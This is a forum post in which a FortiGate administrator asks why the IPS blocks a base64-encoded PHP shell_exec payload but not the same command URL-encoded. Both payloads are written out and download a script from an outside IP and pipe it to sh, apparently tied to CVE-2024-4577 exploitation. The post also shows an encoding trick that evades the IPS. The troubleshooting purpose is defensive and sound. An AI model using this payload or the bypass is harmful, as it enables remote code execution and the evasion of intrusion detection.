IPS not detecting PHP payload - why

Hi,
i open this form to understand a case on my FortiGate 7.2.10.
This is the IPS attached to a firewall policy:

config ips sensor
    edit "IPS_WEB-Server"
        set comment "Prevent critical attacks."
        set replacemsg-group ''
        set block-malicious-url disable
        set scan-botnet-connections disable
        set extended-log disable
        config entries
            edit 1
                set location server
                set severity medium high critical
                set protocol TCP HTTP
                set os all
                set application all
                set default-action all
                set default-status all
                unset last-modified
                set status default
                set log enable
                set log-packet enable
                set log-attack-context disable
                set action default
                set quarantine none
            next
        end  

doing a test the following payload (via HTTP POST) is blocked as expected, triggered signature is PHP.Malicious.Shell:
shell_exec(base64_decode("KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMjE3LjYwLjEwMi41L3NoIHx8IGN1cmwgLXNrIGh0dHBzOi8vMjE3LjYwLjEwMi41L3NoKSB8IHNoIC1zIGN2ZV8yMDI0XzQ1Nzc="));

but sending this payload, no signature is triggered.

$value = urldecode("%28wget+--no-check-certificate+-qO-+https%3A%2F%2F217.60.102.5%2Fsh+%7C%7C+curl+-sk+https%3A%2F%2F217.60.102.5%2Fsh%29+%7C+sh+-s+cve_2024_4577");
shell_exec($value)

The matched policy is the same in both scenario.
The two payloads have the same semantic if decoded.

Best Regards
Marco